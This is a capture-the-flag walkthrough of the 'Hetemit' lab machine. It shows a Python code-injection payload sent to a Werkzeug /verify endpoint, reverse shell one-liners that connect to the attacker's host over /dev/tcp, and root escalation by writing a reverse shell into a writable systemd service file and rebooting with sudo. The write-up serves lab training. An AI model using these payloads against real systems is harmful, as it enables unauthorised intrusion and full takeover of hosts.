Hetemit - OSPG

Read this in "about 6 minutes".

Summary of Result

Hetemit is a system where we’ll exploit the Code Injection vulnerability to acquire an initial access. We’ll then escalate our privilege by abusing a misconfigured service file and compromise root access.


Enumeration

Nmap

We’ll begin with a nmap scan.

$ nmap --open -sV -A -p- -vv -n -Pn -oA nmap/services 192.168.118.117
PORT      STATE SERVICE     REASON         VERSION
21/tcp    open  ftp         syn-ack ttl 63 vsftpd 3.0.3
22/tcp    open  ssh         syn-ack ttl 63 OpenSSH 8.0 (protocol 2.0)
80/tcp    open  http        syn-ack ttl 63 Apache httpd 2.4.37 ((centos))
139/tcp   open  netbios-ssn syn-ack ttl 63 Samba smbd 4.6.2
445/tcp   open  netbios-ssn syn-ack ttl 63 Samba smbd 4.6.2
18000/tcp open  biimenu?    syn-ack ttl 63
50000/tcp open  http        syn-ack ttl 63 Werkzeug httpd 1.0.1 (Python 3.6.8)

→ There are a few open services. Within the scope of the writeup, we focus on the HTTP service running on port 50000.


HTTP/50000

Navigate to the web application, we notice that there are two directories listed.

/generate
/verify

Both directories have their own functions, we are particularly interested in the /verify one.

Let’s us try to send a POST request against the directory /verify and the body request is filled with the code parameter.

The payload might look as following:

POST /verify HTTP/1.1
Host: 192.168.101.117:50000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: _register_hetemit_session=GK6KJri2ylafDgK%2F6lIyUBw9ZFUG2JwfR2XUy%2Be%2BBxow52YsWOyvti%2FQ4YVuCMMzuGNZB%2FMy4NXQxqDQ%2FeNGm5IQFQW7f94Ou4PByd3u2B7pqfMazR0jVFdSF5vBSV4vUo0J5ZT%2FhHql%2BaR5TKp%2BAnKBITheUGIE7AHyAEbvc%2B5KeSFsQ5mdZrJz46COTOZXBdmvfLlMIEisXpzZPwA3uTow5ziDY54D2MrJDVtpCFQ5YWqaEZeSb0js5JggvLZF7K26sxfSr17MsEphdt%2FopNZxNR4kckDId5%2FsUV9Yla%2Bc--0LA3avph4XEwY4vn--zaptbla4hpI7tLNc87OpLw%3D%3D
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 8

code=whoami

After the request was sent, we can further inspect response.

Here is the response.

HTTP/1.0 500 INTERNAL SERVER ERROR
Content-Type: text/html; charset=utf-8
Content-Length: 290
Server: Werkzeug/1.0.1 Python/3.6.8
Date: Fri, 20 Aug 2021 05:01:07 GMT

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>500 Internal Server Error</title>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the application.</p>

The response code 500 INTERNAL SERVER ERROR indicates that something is wrong at the backend. At this point, we fully comprehend that the server does not sanitize our input properly, which ends up our entry breaking something up at the other end.


Exploitation

Code Injection

Previously, we identify the abnormal behaviour from the server. It’s worth noticing that the server running on port 50000 is Werkzeug (we can observe this from the nmap result). Primarily, Werkzeug is a web server written in python, if there is a potential code injection vulnerability, our payload should also be crafted in python.

Let’s us build a reverse shell in one line.

__import__("os").system("bash+-c+'bash+-i+>%26+/dev/tcp/192.168.49.101/80+0>%261'")

The entire payload is as follow:

POST /verify HTTP/1.1
Host: 192.168.101.117:50000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: _register_hetemit_session=GK6KJri2ylafDgK%2F6lIyUBw9ZFUG2JwfR2XUy%2Be%2BBxow52YsWOyvti%2FQ4YVuCMMzuGNZB%2FMy4NXQxqDQ%2FeNGm5IQFQW7f94Ou4PByd3u2B7pqfMazR0jVFdSF5vBSV4vUo0J5ZT%2FhHql%2BaR5TKp%2BAnKBITheUGIE7AHyAEbvc%2B5KeSFsQ5mdZrJz46COTOZXBdmvfLlMIEisXpzZPwA3uTow5ziDY54D2MrJDVtpCFQ5YWqaEZeSb0js5JggvLZF7K26sxfSr17MsEphdt%2FopNZxNR4kckDId5%2FsUV9Yla%2Bc--0LA3avph4XEwY4vn--zaptbla4hpI7tLNc87OpLw%3D%3D
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 90

code=__import__("os").system("bash+-c+'bash+-i+>%26+/dev/tcp/192.168.49.101/80+0>%261'")

After the request is sent, our nc should catch the reverse shell at port 80 as cmeeks after a few seconds.

nc -nlvp 80
listening on [any] 80 ...
connect to [192.168.49.101] from (UNKNOWN) [192.168.101.117] 43194
bash: cannot set terminal process group (1400): Inappropriate ioctl for device
bash: no job control in this shell
[cmeeks@hetemit restjson_hetemit]$ whoami
whoami
cmeeks
[cmeeks@hetemit restjson_hetemit]$ id
id
uid=1000(cmeeks) gid=1000(cmeeks) groups=1000(cmeeks)

Privilege Escalation

Misconfigured Service File

Enumerating the target system locally exposes a pythonapp.service file.

[cmeeks@hetemit restjson_hetemit]$ find / -group cmeeks -ls 2>/dev/null | grep -v "home\|tmp\|proc"
  5015736      4 -rw-rw-r--   1  root     cmeeks        302 Nov 13  2020 /etc/systemd/system/pythonapp.service

Essentially, the service file allows a service to run as the system boots. Since we have a write permission against the file, we can obviously inject a malicious command and wait until the system boots up and obtain the reverse shell as root.

Now, we should adjust the pythonapp.service. It depends on how we want the code to be executed.

The following payload will initilize a reverse connection to our machine.

[cmeeks@hetemit restjson_hetemit]$ nano /etc/systemd/system/pythonapp.service
...
[Service]                                     
Type=simple                   
WorkingDirectory=/home/cmeeks/restjson_hetemit
ExecStart=bash -c 'bash -i >& /dev/tcp/192.168.49.101/18000 0>&1'
TimeoutSec=30                             
RestartSec=15s                                
User=root
ExecReload=/bin/kill -USR1 $MAINPID
Restart=on-failure
...

At this point, we need to wait until the system reboots, or there is another option …

SUDO Permission

User cmeeks can execute sudo command to reboot, shutdown or halt the system with root privilege.

[cmeeks@hetemit restjson_hetemit]$ sudo -l
Matching Defaults entries for cmeeks on hetemit:
    !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS
    LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET
    XAUTHORITY", secure_path=/sbin\:/bin\:/usr/sbin\:/usr/bin

User cmeeks may run the following commands on hetemit:
    (root) NOPASSWD: /sbin/halt, /sbin/reboot, /sbin/poweroff

The reboot is exactly what we’re searching for!. Now, on the cmeeks shell, execute.

[cmeeks@hetemit restjson_hetemit]$ sudo /sbin/reboot

At the same time, we should open up another terminal on local host with a nc listener ready on port 18000.

After a few seconds, we got root.

$ nc -nlvp 18000                                                                                                                                                                      130 ⨯
listening on [any] 18000 ...
connect to [192.168.49.101] from (UNKNOWN) [192.168.101.117] 42660
bash: cannot set terminal process group (1211): Inappropriate ioctl for device
bash: no job control in this shell
[root@hetemit restjson_hetemit]# whoami
whoami
root
[root@hetemit restjson_hetemit]# id
id
uid=0(root) gid=0(root) groups=0(root)